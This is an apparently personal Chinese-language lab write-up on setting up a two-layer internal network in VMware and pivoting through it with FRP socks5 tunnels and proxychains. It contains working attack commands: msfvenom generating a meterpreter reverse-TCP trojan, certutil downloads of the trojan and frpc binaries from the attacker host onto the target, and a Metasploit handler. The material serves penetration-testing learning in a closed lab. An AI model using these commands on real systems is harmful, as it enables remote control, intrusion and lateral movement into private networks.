0x00 实验背景
最近在工作中遇到了一个指定必须使用FRP作为内网穿透工具的活动,由于以前没有深入分析过多层内网的实验环境,对多级级联转发还不是很熟悉,在这里简单记录一下环境搭建与实验内容。
0x01 环境搭建
环境搭建以VM为为虚拟平台,使用kali为攻击机,分别对win7、Ubuntu、Win10进行层层穿透,各设备之间拓扑如图所示:
在整个环境构建中,我们设置IP资源如下表
序号 | 环境 | 操作系统 | IP地址 |
---|---|---|---|
1 | 攻击机 | kali | 192.168.40.133 |
2 | 靶机1 | Win7 | 192.168.40.131 192.168.73.87 |
3 | 靶机2 | Ubuntu | 192.168.73.6 192.168.253.128 |
4 | 靶机3 | Win10 | 192.168.253.129 |
- 在以上环境中,攻击机kali可以直接访问靶机1,但不能访问其余网段的靶机,kali代表我们公网中的客户机;
- 靶机1可以与攻击机、靶机2互相访问,可以看作是暴露在公网的服务,通过靶机1的双网卡可以与靶机2建立联系,靶机2所在的73网段可以看作第一层内网;
- 通过靶机2的双网卡与靶机3互相访问,靶机3所在的253网段可以看作第二层内网。
最终要实现:通过靶机2、靶机1的流量代理转发,使我们在攻击机上就可以直接访问靶机3的web服务,对253网段进行扫描探测。
0x02 虚拟机网络配置
在搭建这样一个多级内网的环境时,用到了虚拟机的虚拟网络适配器选项,首先看看所有的虚拟网络适配器。在虚拟机中选择 编辑—虚拟网络编辑器 ,弹出当前虚拟网络适配器列表。
虚拟机的网络设置共有3中模式,分别为桥接模式、NAT模式和仅主机模式,在今天的环境搭建中,重点使用仅主机模式,首先简要介绍一下3中模式的不同与适用场景。
1.桥接模式
桥接模式直接连接物理网络,使用此模式的虚拟机与物理机在同一个网段上,在桥接模式下,虚拟机网络适配器与物理网络适配器通过虚拟网桥连接起来,这样虚拟机可以直接与物理网络中的同一网段下的其他设备进行通信。在这种模式下,虚拟机直接连接到宿主机所在的物理网络,它会从网络中获取自己的IP地址,就像是网络中的一台独立的计算机。这种模式下虚拟机的地址与物理机网段相同。
在环境搭建中一开始踩了个小坑,把kali和win7使用桥接模式部署了,虽然也属于另一个网段(连接wifi的物理段随机),但由于两个虚拟网卡均与物理机搭建网桥 ,物理机实际上可能充当网关角色,因此配置成功后我发现kali和win7居然和所有网段都是通的(40段,73段,253段)。。。。欢迎各位大佬讨论😊
2.NAT模式
在这种模式下,虚拟机和主机共享一个对外的IP地址,虚拟机不能直接接触到外部网络,所有的网络连接请求都由主机进行转发。虚拟网卡只是作为主机与虚拟机通信的接口。在这里NAT模式的网段为
192.168.50.0
3.仅主机模式
仅主机模式的虚拟网卡仅对主机可见,并在虚拟机和主机系统之间提供网络连接。在一般情况下,使用仅主机模式网络连接的虚拟机无法连接到Internet。可以把仅主机模式看成一个内部网络,只有加入的成员可以相互通信,私密性强,只有同一个仅主机模式下的虚拟机可以互相访问。
这里仅主机模式1的网段为192.168.253.0
,仅主机模式2的网段为192.168.73.0
,仅主机模式3的网段为192.168.40.0
,kali与靶机1加入40段,靶机1与靶机2加入73段,靶机2与靶机3加入253段,构成了层层内网,且由于仅主机模式的设置,其他网段均不能互相访问。
ps:双网卡主机只需要在虚拟机设置中添加一个网络适配器即可。
可以看到,实际上在后续的拓展中,我们通过增加仅主机模式的虚拟网卡,就可以实现增加一层内网结构,不过在实验中,两层的穿透级联足以说明原理,后续不再进行实验。
0x03 利用FRP实现多级内网穿透
1.什么是FRP?
frp 是一个专注于内网穿透的高性能的反向代理应用,支持 TCP、UDP、HTTP、HTTPS 等多种协议。可以将内网服务以安全、便捷的方式通过具有公网 IP 节点的中转暴露到公网。
- FRP官网
- Github
- 文档介绍
2.工作原理
frp 主要由两个组件组成:客户端(frpc) 和 服务端(frps)。通常情况下,服务端部署在具有公网 IP 地址的机器上,而客户端部署在需要穿透的内网服务所在的机器上。
由于内网服务缺乏公网 IP 地址,因此无法直接被非局域网内的用户访问。用户通过访问服务端的 frps,frp 负责根据请求的端口或其他信息将请求路由到相应的内网机器,从而实现通信。
因此,使用FRP重点就是理解frps和frpc的运行原理和配置方式。
3. 第一层穿透实验
(目标:kali通过win7代理流量,访问ubuntu的http服务)
为了实验简单易行,我们直接使用
msfvenom
工具生成木马进行攻击,通过msf建立连接,并实验msf交互命令,简单又直接。
🌈生成远控马,并下载至win7
使用msfvenom生成远控木马,并通过http服务发送至win7主机,这里简化了渗透的步骤,直接讨论获取权限后的操作。
在kali
中执行命令,生成一个名为shell.exe
的木马文件。
┌──(kali@kali)-[~]
└─$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.40.133 LPORT=4444 -f exe -o /home/kali/Desktop/shell.exe
Payload size: 354 bytes
Final size of exe file: 73802 bytes
Saved as: /home/kali/Desktop/shell.exe
开启kali的http服务,从win7中下载他。(这里其实不具备这样的条件,但是实验环境我们以搭建通路为主,主要演示后续内容。。。)
python3 -m http.server 8080
没有图形界面时使用win7
中powershell
的certutil
工具下载。
certutil.exe -urlcache -split -f http://192.168.40.133:8080/shell.exe
🚀运行木马, 并使用msf接收对话
在kali中执行命令,使用msf的监控模块,并设置payload和监听端口。
$ msfconsole //启动控制台
use exploit/multi/handler //使用监控模块
set payload windows/meterpreter/reverse_tcp //设置payload为我们木马的类型
payload => windows/meterpreter/reverse_tcp
set lhost 192.168.40.133 //设置监听IP为本机
run //启动监听
在win7
中启动木马连接,获得1个meterpreter
窗口。
使用shell
切换终端命令行,exit
可以切换回meterpreter
。
📣配置FRP,并下载到win7运行
由于最新版从0.52
版本开始没有windows_386
的选项,本次环境搭建的是32
位,因此选择了0.51.3
版本,配置文件仍然是ini
,且老版本更加稳定些。新版本的frp
配置文件为.toml
,与之前版本的ini
文件有一定的区别,但原理是一致的,我们从这里开始进入正文。
1.首先要理解frp中客户端、服务端分别代表的含义。
frps:FRP的服务器端组件,负责在公网服务器上运行,接受来自 frpc 客户端的连接请求,并将这些请求转发给内部的服务。frps 负责管理连接、认证、路由等功能,是内网服务向外网提供访问的关键组件。
frpc:FRP的客户端组件,运行在内网的服务器或设备上,负责与 frps 建立连接,并通过 frps 提供的通道将内部服务暴露到外部网络。frpc 会将外部请求转发给内部服务,实现内网穿透的功能。
根据介绍,在当前场景中,win7(192.168.40.131、192.168.73.87)
是可以访问到内网的跳板机,而我们kali需要通过win7转发自己的流量,相应的,内网的ubuntu(192.168.73.6)
也通过win7转发自己的服务。那么在这里第一层win7就是frpc,kali则是frps,kali所有的流量都将通过frpc的端口转发。
2.开始配置frpc.ini和frps.ini。
我们配置的目的是使kali通过win7的转发,直接访问内网所有操作,而不是简单把某个内网的服务转发出来,因此配置socks5代理,使win7转发所有经过他的流量。
//frps.ini
[common]
bind_port = 7000 //客户端、服务端用于连接的端口
//frpc.ini
[common]
server_addr = 192.168.40.133 //服务端IP,这里就是kali
server_port = 7000 //与服务端建立连接的端口,要和服务端的一致
[plugin_socks5] //代理隧道的名称,这个随便定义
type = tcp //通行类型,默认tcp就行
remote_port = 6005 //通信端口,注意通信端口和连接端口一个作用于客户端与服务端的连接,一个作用于流量转发
plugin = socks5 //代理类型使用socks5
3.通过前期得到的shell将frpc相关文件下载到win7中。
certutil -urlcache -split -f http://192.168.40.133:8000/frpc.exe
certutil -urlcache -split -f http://192.168.40.133:8000/frpc.ini
4.分别运行frps和frpc。
可以看到,此时kali的服务端已经接收到了win7的连接。下面开始使用代理穿透。
5.proxychains全局代理配置
sudo vim /etc/proxychains4.conf //在kali中配置,添加服务端的ip和端口
为了测试是否能直接访问ubuntu所提供的服务,我们在ubuntu上开启一个http服务。
直接访问无法成功。
增加proxychains
后。
proxychains firefox http://192.168.73.6:8000 //使用proxychains启动firefox
此时可以成功访问,且ubuntu中记录的访问地址为win7的地址,第一层代理已经搭建完毕。可以通过win7直接访问ubuntu的服务。
4. 第二层穿透实验
(目标:kali通过win7、ubuntu两层代理流量,访问win10的http服务)
为了实验简单易行,我们假设在第一层转发的条件下获取了ubuntu的控制权限,漏洞内容为ssh弱口令。
🌈通过win7代理使用ssh登录到ubuntu
可以看到,当前的ip设置情况。
📣配置FRP,并下载到ubuntu运行
1.第二层代理ubuntu是客户端、win7为服务端。
在当前场景中,ubuntu(192.168.40.131、192.168.73.87)
是可以访问到内网(192.168.253.0)
的跳板机,而我们kali需要通过win7、ubuntu两层转发自己的流量,相应的,内网的win10(192.168.253.129)
也通过ubuntu转发自己的服务。那么在这里第二层ubuntu就是frpc,win7则是frps,win7所有的流量都将通过frpc的端口转发。
2.开始配置frpc.ini和frps.ini。
//frps.ini
[common]
bind_addr = 192.168.73.87 //双网卡主机明确绑定哪个ip
bind_port = 7000 //客户端、服务端用于连接的端口
//frpc.ini
[common]
server_addr = 192.168.73.87 //服务端IP,这里就是win7
server_port = 7000 //与服务端建立连接的端口,要和服务端的一致
[test] //代理隧道的名称,这个随便定义
type = tcp //通行类型,默认tcp就行
remote_port = 6005 //通信端口,注意通信端口和连接端口一个作用于客户端与服务端的连接,一个作用于流量转发
plugin = socks5 //代理类型使用socks5
3.使用scp上传frpc到ubuntu。
4.使用certutil或meterpreter上传frps到win7。
分别运行服务端与客户端。
5.proxychains全局代理配置
sudo vim /etc/proxychains4.conf //在kali中配置,添加win7服务端的ip和端口
同时在win10中启动一个nc监听
在kali中通过proxychains访问。
可以看到连接成功,并且路径为:
[proxychains] Strict chain … 127.0.0.1:6005 … 192.168.73.87:6005 … 192.168.253.129:9999 … OK
0x04 参考文章
1.frp内网穿透(socks5隧道)
2.后渗透之meterpreter使用攻略
3.杂记 | 使用FRP搭建内网穿透服务(新版toml配置文件,搭配反向代理食用)
感谢各位大佬的总结。